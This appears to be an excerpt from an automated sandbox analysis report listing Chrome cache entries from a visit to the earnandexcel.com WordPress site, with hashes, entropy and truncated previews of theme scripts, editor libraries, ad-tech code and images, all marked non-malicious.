Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">. Copyright Magnite 2024 -->.<html>.<head>. <title>User-Sync</title>.</head>.<body>. <script type="text/javascript" src="usync.js"></script>.</body>.</html>.

Chrome Cache Entry: 522

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	325
Entropy (8bit):	4.796907837111399
Encrypted:	false
SSDEEP:	6:UpfnWgOupXAF9huOrAI1wXSEQZ7GOh4dAGINzWMJhLJYkX6clRSF/kfv:Uhn8u69hdfHE+rEuzWIhXqclRS5kfv
MD5:	A180F0097A26FCB5F85A5A69AAE7A1DE
SHA1:	F979ED73D9E573FCA9D1A65C34033D3EF125A7FC
SHA-256:	C501CD7BB5FA16DFF50C2453A8FD33176896193ACD260869C35AE282183C2A82
SHA-512:	FF30AB4F8B0B0B345563780CB33B4D13823C328742FB60807DE19B8CD3B603D652F18E55597FB671D459FA0F494DF9FE95CF8126D16F5E7028C3C33979C21E73
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall-child/style.css
Preview:	/.Theme Name: Edumall Child.Theme URI: https://edumall.thememove.com/.Author: ThemeMove.Author URI: https://thememove.com/.Version: 1.0.0.Template: edumall.Text Domain: edumall-child.Tags: editor-style, featured-images, microformats, post-formats, rtl-language-support, sticky-post, threaded-comments, translation-ready./.

Chrome Cache Entry: 523

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2577)
Category:	downloaded
Size (bytes):	2578
Entropy (8bit):	5.177015723485366
Encrypted:	false
SSDEEP:	48:mPTblyuvUkJipDUGr207o/9QZOF1JzOTPUzGbe2yhL4rXpDeiUkLTj7fWfPfpC7X:mPnlyuv/IpDUGr20KqZOFPOzUb2nrXpZ
MD5:	9BB8540493A7FE11B229870EB37BE165
SHA1:	D77F17CB9057DC8F622B8C0BF23F6ACB739B3B8E
SHA-256:	4A7EE62EB33F3BBB66C2151E5CAC6BF4904E28302EFC36128F3E3CCAE6FDE580
SHA-512:	FB245059108EE476BFBCA60A96D401C2796EE44B646E0874D41B5FDB1204A66E3BEC6A4AB8E155E50489B3ADF48BD609683B3D1C020B9F39D084A915F8377773
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/elementor/assets/lib/share-link/share-link.min.js
Preview:	(function(a){window.ShareLink=function(b,c){var d,e={},f=function(a){var b=a.substr(0,e.classPrefixLength);return b===e.classPrefix?a.substr(e.classPrefixLength):null},g=function(a){d.on("click",function(){h(a)})},h=function(a){var b="";if(e.width&&e.height){var c=screen.width/2-e.width/2,d=screen.height/2-e.height/2;b="toolbar=0,status=0,width="+e.width+",height="+e.height+",top="+d+",left="+c}var f=ShareLink.getNetworkLink(a,e),g=/^https?:\/\//.test(f),h=g?"":"_self";open(f,h,b)},i=function(){a.each(b.classList,function(){var a=f(this);if(a)return g(a),!1})},j=function(){a.extend(e,ShareLink.defaultSettings,c),["title","text"].forEach(function(a){e[a]=e[a].replace("#","")}),e.classPrefixLength=e.classPrefix.length},k=function(){d=a(b)};(function(){j(),k(),i()})()},ShareLink.networkTemplates={twitter:"https://twitter.com/intent/tweet?text={text}\x20{url}",pinterest:"https://www.pinterest.com/pin/create/button/?url={url}&media={image}",facebook:"https://www.facebook.com/sharer.php?u={u

Chrome Cache Entry: 524

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11114)
Category:	downloaded
Size (bytes):	11149
Entropy (8bit):	5.198585096576165
Encrypted:	false
SSDEEP:	192:UpFaJEcGiFmSyusTIFugIUDymQPWb9tb2Xm/8cZ9T8MYFS5EKinmI:uFeEdusaAnJm8cb8tS5EKinmI
MD5:	09F403772E5058BE4DC98705738E4B21
SHA1:	65D1A7709C379422F85D7D414A690D9FA9406EC3
SHA-256:	E2F864C903B353B2411D34C88B33303CC20B084312C6EE577A13062A1DA84B48
SHA-512:	C1C5B0C3DEC810E0CCCDD1A659F60B12AB8FCE0D0F1C5859D49883E148949BBAD755E5D5AB91A8A4CD2B6CE47A042C8E9C1DE9B4977F3CFC18FA18DE9286B776
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/js/quicktags.min.js
Preview:	/! This file is auto-generated /.window.edButtons=[],window.edAddTag=function(){},window.edCheckOpenTags=function(){},window.edCloseAllTags=function(){},window.edInsertImage=function(){},window.edInsertLink=function(){},window.edInsertTag=function(){},window.edLink=function(){},window.edQuickLink=function(){},window.edRemoveTag=function(){},window.edShowButton=function(){},window.edShowLinks=function(){},window.edSpell=function(){},window.edToolbar=function(){},function(){var t,e,u=function(t){var e,n,o,a;"undefined"!=typeof jQuery?jQuery(document).ready(t):((e=u).funcs=[],e.ready=function(){if(!e.isReady)for(e.isReady=!0,n=0;n<e.funcs.length;n++)e.funcs[n]()},e.isReady?t():e.funcs.push(t),e.eventAttached\|\|(document.addEventListener?(o=function(){document.removeEventListener("DOMContentLoaded",o,!1),e.ready()},document.addEventListener("DOMContentLoaded",o,!1),window.addEventListener("load",e.ready,!1)):document.attachEvent&&(o=function(){"complete"===document.readyState&&(document.d

Chrome Cache Entry: 525

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	34628
Entropy (8bit):	7.992842910009218
Encrypted:	true
SSDEEP:	768:KDp3quq2aVPp00D8sT2O8ddGSaQEKKImQv/FzJhnromy:KNauq2wP20Dn8zGRGTHF1hrA
MD5:	26A8DD506A658CE4C1E5E24C115E7828
SHA1:	A2D5171BDFF6F8EE7DED43A2020CF19FCBA457B2
SHA-256:	847AE7A7B79EB499F8D305BDE8D4DA9B73512AD5116369EEDF3FB3B9D5F5985D
SHA-512:	3C72EC613836F85935AEFECB9BDD5EA056C4CEB497034ADE7CA4469453365E9D77BBF658ED3F14D9FB5E1F0550BE632962EDCF3D841E7691DB4CDF4E79B69A45
Malicious:	false
Reputation:	low
URL:	https://i.vimeocdn.com/video/755912404-7b63338d02fc79560c0570e832acf14f8130f0197c8c7bd50735d0c605a9e6ed-d?mw=600&mh=338
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D...................(iinf..........infe........av01Color....jiprp...Kipco....ispe.......X...R....pixi............av1C........colrnclx...........ipma..................2mdat.....f%z...2....O..0....8...3..Tw..kY.7...E../\.....+.....x...L..z..qGXW. =...+mH.A..L.dU^."y.Q...R.Yj.......-jSN:.'.......prX.0.@.y.E..g;J.<\..=....?..~.bx..17..+.,a\B/..}.7..~U.....O...F9.1.....ez..@.%...../`....].....1.......a.F..=b..@{...1..eS..v...q.W.9Py.....0m.......@&k.../..V!.....,c.u.."o..3Q\..3.f.. xJ.....+...8.5..T......Y.........9...........~..6......>..~.Z.....e....8....p...$f..#..\..Z.{-..mr.4I..y2.-...6...Y..`.Et.6q<..ym..a../....T.....J...;..2...J.W.~.Az_.VO.P?.?.$..u./t..5.uK.`b..=....K..9.........WD.=q...U_........4.....\|........l..T.Tp5N.6..W.0......AO.\|...`.:q.....#..Q&b...4...(..].......v..+S.v..8...... ...DC.)/..A{...c%.....IX....<..r..Y-..=-..

Chrome Cache Entry: 526

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (521)
Category:	downloaded
Size (bytes):	3355
Entropy (8bit):	5.139002233010051
Encrypted:	false
SSDEEP:	96:5frWjAloia+WBo5eGu2MmQywoZOWFrsmA8ajfNB8YEH:VrMMpa+WBo5Fu2MTywkFrs38ajfNBA
MD5:	324BB5FD08DB88237FD5F4D62EC8BE55
SHA1:	B93BC1781C660C3C42E5CDF1E4CE9FFA8F83E06B
SHA-256:	A561726B0D4C7E467341E9FDBB0FA90A80F9423EDA485B5CDB1C3584B2344CED
SHA-512:	EC229F27FD2D4B017B6E48F56F4B7080BE175CF1CB1A576AEE2990265BFE7350307B27144A7CAC84375F76A944F569C82ADD18AAC7EEA908E1A498705542BC3C
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/libs/matchHeight/jquery.matchHeight-min.js
Preview:	/. jquery-match-height 0.7.0 by @liabru.* http://brm.io/jquery-match-height/.* License MIT.*/.!function(t){"use strict";"function"==typeof define&&define.amd?define(["jquery"],t):"undefined"!=typeof module&&module.exports?module.exports=t(require("jquery")):t(jQuery)}(function(t){var e=-1,o=-1,i=function(t){return parseFloat(t)\|\|0},a=function(e){var o=1,a=t(e),n=null,r=[];return a.each(function(){var e=t(this),a=e.offset().top-i(e.css("margin-top")),s=r.length>0?r[r.length-1]:null;null===s?r.push(e):Math.floor(Math.abs(n-a))<=o?r[r.length-1]=s.add(e):r.push(e),n=a}),r},n=function(e){var o={.byRow:!0,property:"height",target:null,remove:!1};return"object"==typeof e?t.extend(o,e):("boolean"==typeof e?o.byRow=e:"remove"===e&&(o.remove=!0),o)},r=t.fn.matchHeight=function(e){var o=n(e);if(o.remove){var i=this;return this.css(o.property,""),t.each(r._groups,function(t,e){e.elements=e.elements.not(i)}),this}return this.length<=1&&!o.target?this:(r._groups.push({elements:this,options:o}),r._

Chrome Cache Entry: 527

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	85
Entropy (8bit):	5.375575606950324
Encrypted:	false
SSDEEP:	3:YA0fRGPnwgc6JVeiexE2uYp862lHMINY:YAmRAwgc6vdy8FK
MD5:	248E28374CB348F9A8087561BC61742A
SHA1:	73889525BE8B85D66D6334C4D0937F9B00502233
SHA-256:	3F344715F1B74D18B6CE0773290FFE5251CC06A3197C90DC1D866D8D1AE8107C
SHA-512:	B116684DEC6023DBCF67E04FF9D9DBCFC6AC508F3BDC026B74361068A2DB1DA15A40B81D0CA7BF0639D472CA64B10D0B03D5A663167B3F995F22EDE5D028064E
Malicious:	false
Reputation:	low
URL:	https://oajs.openx.net/esp?url=https%3A%2F%2Fearnandexcel.com%2F&rid=esp
Preview:	{"esp":"eyJpIjoiUnVsUE9yK1NUYUdnQ0hiNHY1bkxGUT09In0=","i":"RulPOr+STaGgCHb4v5nLFQ=="}

Chrome Cache Entry: 528

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4715), with no line terminators
Category:	downloaded
Size (bytes):	4715
Entropy (8bit):	5.206152047319561
Encrypted:	false
SSDEEP:	96:Il2PuGtR2RtwVTVGa8rCR2cZ+/8BEi9c3s/erc/ima9:/dtR2RUPF2Yk8d63s/er2c9
MD5:	107511EB8154151581C530D3D9391791
SHA1:	4C709DA1D4DB51DE52398B85D56F3D8A8D45185A
SHA-256:	16706413CF90E01B4E903AC74A825F9E0F2B7CFB4E0CE99C7C4A9D274A4D2EA2
SHA-512:	29BB41EE3EF2E2E77D3E95834F31D7B7D1D2526F53AF63202429C58497EF7B7235389BC754E59A4B4F8086C6B6997D62E588A668AAFCD1149387EA613675EFF2
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/js/swiper-wrapper.min.js
Preview:	!function(C){"use strict";C.fn.EdumallSwiper=function(a){var h,x=C.extend({},{},a);return this.each(function(){var a,e,i,s,n,t,r=C(this),d=r.children(".swiper-inner").first(),l=r.data(),o=d.children(".swiper-container").first(),p=l.lgItems\|\|1,c=l.mdItems\|\|p,u=l.smItems\|\|c,v=l.lgGutter\|\|0,w=l.mdGutter\|\|v,f=l.smGutter\|\|w,g=l.speed\|\|1e3,m="auto"!==(p="auto-fixed"===p?"auto":p)?p:1,b="auto"!==(c="auto-fixed"===c?"auto":c)?c:1,S="auto"!==(u="auto-fixed"===u?"auto":u)?u:1,m=C.extend({},{init:!1,watchSlidesVisibility:!0,slidesPerView:u,spaceBetween:f,slidesPerGroup:S,breakpoints:{767:{slidesPerView:c,spaceBetween:w,slidesPerGroup:b},1024:{slidesPerView:p,spaceBetween:v,slidesPerGroup:m}}},x);m.watchOverflow=!0,l.slideColumns&&(m.slidesPerColumn=l.slideColumns),l.initialSlide&&(m.initialSlide=l.initialSlide),l.autoHeight&&(m.autoHeight=!0),void 0===l.simulateTouch\|\|l.simulateTouch\|\|(m.simulateTouch=!1),g&&(m.speed=g),l.effect&&(m.effect=l.effect,"custom"===l.fadeEffect?m.fadeEffect={crossFade:

Chrome Cache Entry: 529

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65513)
Category:	downloaded
Size (bytes):	365570
Entropy (8bit):	5.257670130556994
Encrypted:	false
SSDEEP:	3072:SfCiAIilVSPMJf27yVDYRS3SHWnS254Zt/LQC79wZM1tJCHqHEQB0j:S6xIuVSEJf2wDYRS+Z5LfCZ4YHIEQ+
MD5:	586CE1E095C0F8B0CCA1439FCEFE6B6E
SHA1:	09956D2C3CA679DB87BCFA5804B2D14F5D7FDC58
SHA-256:	4A74739272C2951DC668DC3DA0DE287DF3061623DB5D04CFEEAD3214B3CFC206
SHA-512:	DED95E827A682034EFF491DCF7224EF309E4AC892AED63BB4092E2E587DA7939991EF7EB6F5B70330A93E02D0AF012C16DA891E8C3A8EFBA4B5CED7F3F3B5C2E
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/js/tinymce/tinymce.min.js
Preview:	// 4.9.11 (2020-07-13).!function(V){"use strict";var o=function(){},H=function(n,r){return function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return n(r.apply(null,e))}},q=function(e){return function(){return e}},$=function(e){return e};function d(r){for(var o=[],e=1;e<arguments.length;e++)o[e-1]=arguments[e];return function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];var n=o.concat(e);return r.apply(null,n)}}var e,t,n,r,i,a,u,s,c,l,f,m,g,p,h,v,y=function(n){return function(){for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t];return!n.apply(null,e)}},b=q(!1),C=q(!0),x=function(){return w},w=(e=function(e){return e.isNone()},r={fold:function(e,t){return e()},is:b,isSome:b,isNone:C,getOr:n=function(e){return e},getOrThunk:t=function(e){return e()},getOrDie:function(e){throw new Error(e\|\|"error: getOrDie called on none.")},getOrNull:q(null),getOrUndefined:q(undefined),or:n,orThunk:t,map:x,each:o,bind:x,exists:b,forall:C,filter:x,equals:e,equals_:e,

Chrome Cache Entry: 530

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 480 x 260, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	77650
Entropy (8bit):	7.984119583705996
Encrypted:	false
SSDEEP:	1536:f5t9BWWE18zHUkDX2PTJB7H/3mbJXeO03cplQaGLpIffo8hBZSHvAEaRUG:fX9Bu18z0kKPb/KJX70MzQLL+XpZYvA/
MD5:	44836D113020E72C90288599ABB6D9C2
SHA1:	7F02897519AE1BDE2FAD3F409F7FA69EF882B7A5
SHA-256:	98AE56D07D82B3C60ED9A27AEB73B0C7C51C1CBEBF7668D296C1D659B37981E0
SHA-512:	8A9C99EBCF5257EFDC5184E3845AA592F6C617484737962E753D43B78A2E0DC906FCBA3A5162F9C4F070B630B43486E431551D11390F45448D198ED165ACECA8
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................IDATx...w.$.}.~t.===9......D&.0."H1(X.A..l.\|,.s\|.}%..{e.Z.D...(.......v.X...3;;9.tO..]....5=....Y`..>.<X.TW..V..}....._.S.,J...E....H...QG.u.QG...B-..m...Q.Q5...,..:.8.n..U6...\|...'.%.......:...^...da....R...,..ny\....=.I4]....O..:..:.o...I..4.M......{....]..?.'..K.3[...&..W.d.R......:.N.WB.%>..A>..!.y.%.}....f...A..f.^.B.......:...d.u.QG.?9.l.d.....,\\.$Wly.E6.K..4... ^....^'].ny.c.....H..O]...b.....:...!`..%.M.....n..s...x..~./../....q...s.O.x~.$.R..L..\|....O..:...<....?.r.i^.9...U...INf....eu`3Y.y.U...W...z.T!..).....:.N..>.%...(?..G..6.7.~..Dx./_\......f....7.{..R..$.3^G.u.QG.[...i.4~.}..:q.T>s./.K.....s.u.QG.u.qml..%..n..\|.p..:..:..6Z.e+X%.M.g..:..:...Y)JQ......X.Ju.QG.u...N.".....8..+.....@.......:....wT..f...s.Y.yc.".k..V..9.!...G4.....QP...UG.u.Q..$.@...QO"....l..d!....s...\|t.C..>.blm...U.f..j._z.{..L.....QG.u.Q..7 ..?...~..Gx...>...(^.;...H..v..nIU..?...u.[d....s.u.QG.?9.,..{..it.ym

Chrome Cache Entry: 531

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.292508224289396
Encrypted:	false
SSDEEP:	3:CUmExltxlSle:JAle
MD5:	55FADE2068E7503EAE8D7DDF5EB6BD09
SHA1:	317496A096D6C86486A71D4521994BCD171A6BB3
SHA-256:	E586A84D8523747F42E510D78E141015B6424CF67D612854E892A7BCEDC8EC9E
SHA-512:	A9ADB9FEEA4BC14B9C34ED17CD30F8CB36DC686E9F69A292FE65BEBC195BE4714391FD98EC7B67BFD363FBBB6089C41A0B7CAB5130B50B461748E668CAC75621
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,........@..D..;

Chrome Cache Entry: 532

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (34985), with no line terminators
Category:	downloaded
Size (bytes):	34987
Entropy (8bit):	5.123621587668677
Encrypted:	false
SSDEEP:	384:fjvFN8LOiW8U4Rg/rgBg4g4ghgGAU2hM05OOU+/rj/bVpjg3:fBN8LOiS4FtbVC
MD5:	F8B0A253A88D9B0767F7D1BDB9651B08
SHA1:	4D028A45ADCBE2B850318AAA13FEE9D0BA47D40B
SHA-256:	DE20CCE9932FDCD92746F6811B07B5303025CD8FBB65A83BE055B9CC112C6429
SHA-512:	AFF922B3469F1FB0AC2CC3C061ABCB42FC77FF131CF78314DA0F85A3C9225770480CE58513607421DC5DC661090DFD2FB32FD9ABF014E9E11E1961BE9E43FDA4
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/plugins/tutor/assets/packages/plyr/plyr.css
Preview:	@charset "UTF-8";@keyframes plyr-progress{to{background-position:25px 0;background-position:var(--plyr-progress-loading-size,25px) 0}}@keyframes plyr-popup{0%{opacity:.5;transform:translateY(10px)}to{opacity:1;transform:translateY(0)}}@keyframes plyr-fade-in{0%{opacity:0}to{opacity:1}}.plyr{-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;align-items:center;direction:ltr;display:flex;flex-direction:column;font-family:inherit;font-family:var(--plyr-font-family,inherit);font-variant-numeric:tabular-nums;font-weight:400;font-weight:var(--plyr-font-weight-regular,400);line-height:1.7;line-height:var(--plyr-line-height,1.7);max-width:100%;min-width:200px;position:relative;text-shadow:none;transition:box-shadow .3s ease;z-index:0}.plyr audio,.plyr iframe,.plyr video{display:block;height:100%;width:100%}.plyr button{font:inherit;line-height:inherit;width:auto}.plyr:focus{outline:0}.plyr--full-ui{box-sizing:border-box}.plyr--full-ui *,.plyr--full-ui :after,.plyr--full-ui :b

Chrome Cache Entry: 533

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1033), with no line terminators
Category:	downloaded
Size (bytes):	1033
Entropy (8bit):	4.914938004770671
Encrypted:	false
SSDEEP:	24:Yc4wWoCl6B1rXXLbOlnhPC5SviyOp1NGQ1oo30LLGZMn:H82XLICt06M
MD5:	C14E508236D4CED16AA19CFAF234961B
SHA1:	98597AC65ED47FEE37BE640AE1ED70F1962E2ACD
SHA-256:	637CB36B622567BE7413D4BB30C893DDC431F8ED98FF8A92CD5F2BFA14F914CA
SHA-512:	E4A5CC29347B7C75E99FE33FF75035E6AC004787EBAC68EB0E0A94D9F8FBE33B5E632A87471F7B9B2839F687D4D4FD11F7F7F62227516DBF375E6AC6AB3F383F
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-content/themes/edumall/assets/js/nice-select.min.js
Preview:	!function(n){"use strict";n.fn.EdumallNiceSelect=function(e){var i="focused",c="selected";return this.each(function(){var s=n(this),e=n(this).data("select"),t="",e=e.fieldLabel?'<span class="label">'+e.fieldLabel+"</span>":"",a=n('<div class="edumall-nice-select-current">'+e+'<span class="value"></span></div>');s.children("option").each(function(){var e="item";n(this).is(":selected")&&(a.find(".value").text(n(this).text()),e+=" "+c),t+='<li class="'+e+'" data-value="'+n(this).val()+'">'+n(this).text()+"</li>"}),t='<ul class="edumall-nice-select">'+t+"</ul>";var l=n('<div class="edumall-nice-select-wrap"></div>');l.append(a).append(t),a.on("click",function(){l.addClass(i)}),l.on("click","li",function(){var e;l.removeClass(i),n(this).hasClass(c)\|\|(n(this).siblings().removeClass(c),n(this).addClass(c),e=n(this).data("value"),a.find(".value").text(n(this).text()),s.val(e),s.trigger("change"))}),n(document).on("click touchstart",function(e){0==n(e.target).closest(l).length&&l.removeClass(i)

Chrome Cache Entry: 534

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	2.9889835948335506
Encrypted:	false
SSDEEP:	3:CUkxl7/lHh/:slf/
MD5:	B4491705564909DA7F9EAF749DBBFBB1
SHA1:	279315D507855C6A4351E1E2C2F39DD9CD2FCCD8
SHA-256:	4E0705327480AD2323CB03D9C450FFCAE4A98BF3A5382FA0C7882145ED620E49
SHA-512:	B8D82D64EC656C63570B82215564929ADAD167E61643FD72283B94F3E448EF8AB0AD42202F3537A0DA89960BBDC69498608FC6EC89502C6C338B6226C8BF5E14
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 535

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	dropped
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 536

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1190)
Category:	downloaded
Size (bytes):	1225
Entropy (8bit):	5.048134393015752
Encrypted:	false
SSDEEP:	24:Q775J7w/Wbiz7vBmGa1RIYTu9cwMY3l0SSCzfIZ7kJ7YRvKe1x3:Q7z1euMY69cQiSd07kJEwe1p
MD5:	EE421825FF8609D7BB46511E65281474
SHA1:	AA84AD1EB7806CF3072B08A6BD775DDFCF011933
SHA-256:	4213EBA6C464B3CA6FC71C748E2BA99F63F7F0B624199FD44127DA67E40A3003
SHA-512:	D21E32941508BDECE1C48540CEE211CF7405D7E9BEA3DDA561EE0D4C7B9855BAD29E51DEBEA334706AC395FAA6820452E4CD9DF341734C9D5B06BB3B2B6EE3F8
Malicious:	false
Reputation:	low
URL:	https://earnandexcel.com/wp-includes/js/dist/dom-ready.min.js
Preview:	/! This file is auto-generated /.this.wp=this.wp\|\|{},this.wp.domReady=function(e){var t={};function n(r){if(t[r])return t[r].exports;var o=t[r]={i:r,l:!1,exports:{}};return e[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=e,n.c=t,n.d=function(e,t,r){n.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:r})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,t){if(1&t&&(e=n(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var o in e)n.d(r,o,function(t){return e[t]}.bind(null,o));return r},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s="2oG7")}({"2oG7

Chrome Cache Entry: 537

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (5657)
Category:	downloaded
Size (bytes):	6162
Entropy (8bit):	5.599076700545423
Encrypted:	false
SSDEEP:	192:Sb04pPhtmpvftu/PvJ/CMMKJ8UotoqzpfLEj:s0i5fPJ6FEPkIj
MD5:	6AAAF8E11A32FD37FB419E3A4CE9696C
SHA1:	1FD88F2EE4DE5422E0C344DEBEFE3F2B5ABB2592
SHA-256:	468959E93F9B4E6F07C6A8F8D0E93D8FCB37D76A8615A93EC153F5842247BA99
SHA-512:	748B27BDB7C7FA082D7BE6C69F56DC33302105784391320A5CF960531C594097BC406FD3F4690E4CF74F4016F4D56804A4296E9BD885562EB66699E1318F7000
Malicious:	false
Reputation:	low
URL:	https://0dbfba6fc6c5564c4e96051830e23fb1.safeframe.googlesyndication.com/safeframe/1-0-40/html/container.html
Preview:	<!DOCTYPE html>.<html>. <head>. <meta charset="UTF-8">. <title>SafeFrame Container</title>. <script>.(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var f=this\|\|self,h=function(a){return a};var n=function(a,b){this.h=a===l&&b\|\|"";this.g=m},p=function(a){return a instanceof n&&a.constructor===n&&a.g===m?a.h:"type_error:Const"},m={},l={};var r=void 0;/.. SPDX-License-Identifier: Apache-2.0./.var t,aa=function(){if(void 0===t){var a=null,b=f.trustedTypes;if(b&&b.createPolicy){try{a=b.createPolicy("goog#html",{createHTML:h,createScript:h,createScriptURL:h})}catch(c){f.console&&f.console.error(c.message)}t=a}else t=a}return t};var ca=function(a){this.g=ba===ba?a:""};ca.prototype.toString=function(){return this.g+""};var ba={},da=function(a){var b=aa();a=b?b.createScriptURL(a):a;return new ca(a)};var ea={},u=function(a,b){this.g=b===ea?a:""};u.prototype.toString=function(){return this.g.toString()};var ha=function(){var a=v,b={messa

Chrome Cache Entry: 538

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17484), with no line terminators
Category:	downloaded
Size (bytes):	17484
Entropy (8bit):	5.223369162348979
Encrypted:	false
SSDEEP:	384:8Vrn5Fru8dqCDCl8J2RfyoJaOjtofZk1kC4cSWDTkZJwkXI/:8pa8dqCDCiJ+qooOKhIkCHSWDTWp4/
MD5:	230FE9426CA729314526F167679DA3C0
SHA1:	9F438FCC78C9C2405A962A9808FC5B7E1791C7D3
SHA-256:	27961AB8C37CDDAD89230364167C048C6377A80E38542A5FFBCA600FAF4098EA
SHA-512:	9699E84143E68BEE6B8B7C6A07F25BF2188658C47AF5284607F93135331FB929CE953956D9C6236A44B1CE4DB3564A97F568D7CCA6E9F6EE5E80EB9C8470D32E
Malicious:	false
Reputation:	low
URL:	https://pghub.io/js/pandg-sdk.js
Preview:	!function(t){var e={};function n(r){if(e[r])return e[r].exports;var o=e[r]={i:r,l:!1,exports:{}};return t[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)\|\|Object.defineProperty(t,e,{enumerable:!0,get:r})},n.r=function(t){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})},n.t=function(t,e){if(1&e&&(t=n(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var r=Object.create(null);if(n.r(r),Object.defineProperty(r,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var o in t)n.d(r,o,function(e){return t[e]}.bind(null,o));return r},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p="",n(n.s=0)}([function(t,e,n){"use 